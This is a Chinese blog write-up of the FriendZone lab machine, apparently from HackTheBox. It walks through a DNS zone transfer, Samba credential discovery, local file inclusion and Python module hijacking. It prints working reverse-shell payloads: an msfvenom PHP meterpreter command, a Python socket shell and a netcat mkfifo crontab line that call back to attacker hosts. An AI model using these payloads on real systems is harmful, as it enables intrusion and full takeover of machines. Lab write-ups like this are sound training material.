前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >FrindZone writeup

FrindZone writeup

作者头像
黑伞安全
发布2019-10-16 12:01:15
5370
发布2019-10-16 12:01:15
举报
文章被收录于专栏:黑伞安全黑伞安全

大白又来了,先容我膜拜一波自家师兄S0cke3t的CS插件,大佬牛逼(破音)

这次还是一个当时没有日穿的靶机,不过看官方writeup来说,我们距离拿下靶机只差了一步,还是too young,too simple 啊!

国际惯例,端口扫描走一波,这个靶机的端口就比较有意思了,首先开放了53端口,也就是说开放了域名解析的功能,那么联想到域传送的漏洞,估计会利用到。其次开放了文件共享服务Samba和vsftpd,在web方面开放了80,443端口,可以说端口开放的比较多了。

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.123 |grep '^[0-9].*open'|cut -d '/' -f 1|tr '\n' ','|sed s/,$//)nmap -sC -sV -p $ports 10.10.10.123

那么我们一步一步来,首先看看是否存在DNS区域传送漏洞。

DNS服务器分为:主服务器、备份服务器和缓存服务器。在主备服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。

若DNS服务器配置不当,可能导致匿名用户获取某个域的所有记录。我们就可以拿到该DNS服务器所解析的域名。上面端口扫描时发现了ssl证书提供的域名为friendzone.red,那么我们用这个域名测试域传送漏洞

dig axfr @10.10.10.123 friendzone.red

子域名到手,直接丢到hosts文件里

接下来再看一眼这个文件共享的服务,vsftpd并没有匿名访问,该版本也不存在后门,没有想到如何利用,枚举一下smaba服务,看是否存在弱口令。

enum4linux 10.10.10.123

拿到了两个可直接访问的文件共享服务,我们登上去看一下,general目录下无法上传文件,但存在一个creds.txt文件,下载下来查看后发现是admin的用户凭证,那么联想到我们刚才得到的子域名中有一个administrator1.friendzone.red域名,估计是用在这个上的。

另外一个Development目录,登上去发现可以上传文件,但当前无任何内容。

首先用目录爆破工具DirBuster扫一下目录。

扫描目录发现几个有趣的url,login.php、dashboard.php和timestamp.php。

访问这几个页面,提示如下信息。

那我们使用获得的账号密码登陆看看

页面给出了提示,这个页面需要几个参数,并给出了默认的参数使用默认参数访问后发现如下页面

Ok,那能够看出来了,因为参数包含了一个pagename=timestamp,而我们扫出来的目录中也包含这个timestamp.php,并且通过返回页面判断,dashboard.php页面应该是根据参数中提供的文件去包含那个文件,并解析执行了其中的代码,那么我们在测试一下,将参数改为login

返回结果为wrong,与上面一致,证实了我们的猜测。

那么我们只要能够上传一个php文件,使用dashboard页面解析执行其中的代码,便能够执行系统命令,这里我们使用msf框架生成一个php的meterpreter的shell文件,只要解析执行了其中的代码,便能反弹一个shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4321 -f raw >revshell.php

那么问题来了,怎么知道这个文件的上传路径呢,我们当时便是卡在了这一步,由于不知道文件上传的绝对路径,没法利用dashboard.php触发我们的反弹shell,其实这里的路径还是需要一点小小的猜测,在最开始枚举samba服务的时候,我们除了发现了general和Development两个文件夹外,还发现了Files文件夹,在后面给出了Files文件夹的绝对路径/etc/Files/,那么我们可以猜测上传的文件路径为/etc/Development/

打开msfconsole监听反弹shell

use exploit/multi/handlerset payload php/meterpreter/reverse_tcpset lhost 10.10.14.3set lport 4321exploit

成功得到反弹shell,访问用户路径下便可以看到user.txt

接下来就是提权的过程了,首先还是上脚本https://github.com/rebootuser/LinEnum,这个脚本可以枚举系统中可能被利用来提权的一些信息,-t参数表示进行全面冗长的枚举。

./LinEnum.sh -t

在众多输出的信息中,这里这个文件十分有趣,系统提供了一个权限为777的os.py,也就意味着我们低权限用户也能够修改这个文件,然而这个文件是python2.7自带的库文件,在python运行时会默认import这个文件,也就是说,如果我们修改了其中的代码,root用户在使用任何python文件时均会执行我们修改的代码,这种攻击方式又被叫做模块劫持(module hijacking)

ok,问题又来了,如何让root用户执行python程序呢,既然靶机给了这个777的文件,应该会有相应的方式触发才对,我们先枚举一下进程,这里使用了pspy这个工具,https://github.com/DominicBreuker/pspy,这个工具可以无需root权限来枚举正在执行的进程,并持续进行监测。

果然,系统中每两分钟便会执行一次python脚本,让我们看一下这个reporter.py,脚本也import了os.py,那么更加印证了我们的猜测。

那我们只需要将反弹shell的代码插入到os.py中,在定时任务触发时,我们便能获取到反弹shell了。

import socket,subprocessHOST = '10.10.14.3' # The remote hostPORT = 9999 # The same port as used by the servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# connect to attacker machines.connect((HOST, PORT))# send we are connecteds.send('[*] Connection Established!')# start loopwhile 1: # recieve shell command data = s.recv(1024) # if its quit, then break out and close socket if data == 'quit': break # do shell command proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read output stdout_value = proc.stdout.read() + proc.stderr.read() # send output to attacker s.send(stdout_value)# close sockets.close()

因为无法使用交互式的文本编辑器,那么我们直接echo”””{代码段}”””>>os.py中就可以了

等待两分钟,一切索然无味。

官方的writeup中也给出了另一种方法,将以下代码插入到了os.py中

shell = '''* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc10.10.16.32 4444 >/tmp/f'''f = open('/etc/crontab', 'a')f.write(shell)f.close()

通过定时任务的方式来获取shell,也是一种不错的方法。

这个靶机主要考察了枚举的能力,很多信息都是通过枚举获得的,如果稍不注意就会漏掉一些关键信息,比如通过443端口枚举主域名,通过Samba服务枚举时得到的绝对路径。

但是这个靶机还是比较脱离现实环境的,毕竟不会有人把python的库文件设置成777权限,不过思路还是值得学习一下,类似Postgresql的CVE-2018-1058远程代码执行漏洞,均是一个原理。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档